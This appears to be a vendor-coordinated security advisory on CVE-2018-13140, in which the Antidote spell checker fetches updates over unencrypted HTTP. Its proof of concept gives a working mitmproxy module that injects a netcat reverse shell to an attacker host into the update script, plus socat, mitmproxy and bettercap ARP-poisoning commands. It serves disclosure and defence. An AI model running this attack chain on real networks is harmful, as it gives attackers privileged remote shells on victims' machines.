Description

Antidote is a spell checker program for Windows, Linux and macOS operating systems.

Threat

The application has been affected by a remote code execution against the update component. It leads to code execution with high privileges against the targeted system.

Expectation

Network operations like an update component should be held through encrypted communication channels like TLS, to prevent all sorts of hijacking attacks.

CVSS Score:

CVE ID: CVE-2018-13140

Access Vector: remote

Security Risk: high

Vulnerability: CWE-311

CVSS Base Score: 8.2

CVSS Vector String: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:L

Details

Antidote downloads its installation packages over HTTP protocol, without any kind of encryption such as TLS.

An attacker can thus perform a Man-In-The-Middle attack to intercept the update request / response in order to replace or patch the downloaded package.

Moreover, after the download is done, the component asks for administrator rights to install the update, allowing thus an attacker to run the payload as an administrator with privileged rights.

Proof of Concept

We developed a simple mitm-proxy module to exploit this vulnerability, here the python source code:

#(this script works best with --anticache)

from mitmproxy import http

MATCH = "export "
CMD_TO_INJECT = "nc -e /bin/bash IP_OF_ATTACKER 4444&"

class Injector:
    def response(self, flow: http.HTTPFlow) -> None:
        if MATCH.encode() in flow.response.content:
            print("Match detected")
            cmd = "\n%s\n%s" % (CMD_TO_INJECT, MATCH)
            flow.response.content = flow.response.content.replace(MATCH.encode(),cmd.encode())

addons = [Injector()]

The previous script is looking for the export string for each HTTP responses, in order to replace it with a simple command to give the attacker a remote reverse shell. Thereafter, when the update script is called by the update software component, the simple command is firstly run as a simple user. The update script asks then user for the administrator password, allowing our command to be executed as administrator.

In fact, we could thus obtain two remote shells (as simple user and administrator), using a multithreaded listening TCP handler:

  • The first one when the script is started (user privileges) ;

  • The second one after the victim types his credentials (administrator privileges).

The following commands are used to exploit the vulnerability, using a Man-In-The-Middle attack:

  • a multithreaded socat TCP listener, to receive the victim reverse connection with low privileges against the target:
socat - TCP-LISTEN:4444,fork
  • the mitm-proxy with our dedicated module:
mitmproxy -s antidote.py --anticache --listen-port 9090 -m transparent
  • ARP Cache Poisoning using bettercap and redirecting traffic to mitm-proxy:
bettercap -I YOUR_NETWORK_INTERFACE -T VICTIM_IP_ADDRESS --custom-proxy YOUR_IP_ADDRESS --custom-proxy-port 9090 -S ARP

When the Antidote software asks for an update, mitmproxy will automatically patch the update component using our reverse shell payload included.

After the end of the download, the user will press install, leading to the execution of the two payloads, as described.

Timeline (dd/mm/yyyy)

Congratulations to Druide for handling this security response very quickly and professionally:

  • 30/04/2018 : Initial discovery.
  • 30/04/2018 : Contact acknowledgment.
  • 11/05/2018 : Detailed report communicated to Druide.
  • 12/05/2018 : Technical response, confirming the vulnerability and stating which versions are affected (Windows, Linux, but not Mac OS).
  • 08/06/2018 : Follow up e-mail from Druide informing about the patching development status and roadmap.
  • 23/06/2018 : Druide informs us of the fixed versions and suggest a disclosure date on 31/07/2018 to let enough time for customers to patch.
  • 21/09/2018 : Disclosure.

Fixes

  • Antidote 9.5.2 (Windows/Linux)
  • Antidote 8.5.2 (Windows)
  • Antidote HD 6.1.2 (Windows)

Affected versions

  • All Antidote Windows/Linux versions <= 9.5.1
  • Mac OS versions are unaffected (already using TLS encryption for updates)

Credits

  • Mickael KARATEKIN <m.karatekin -at- sysdream.com>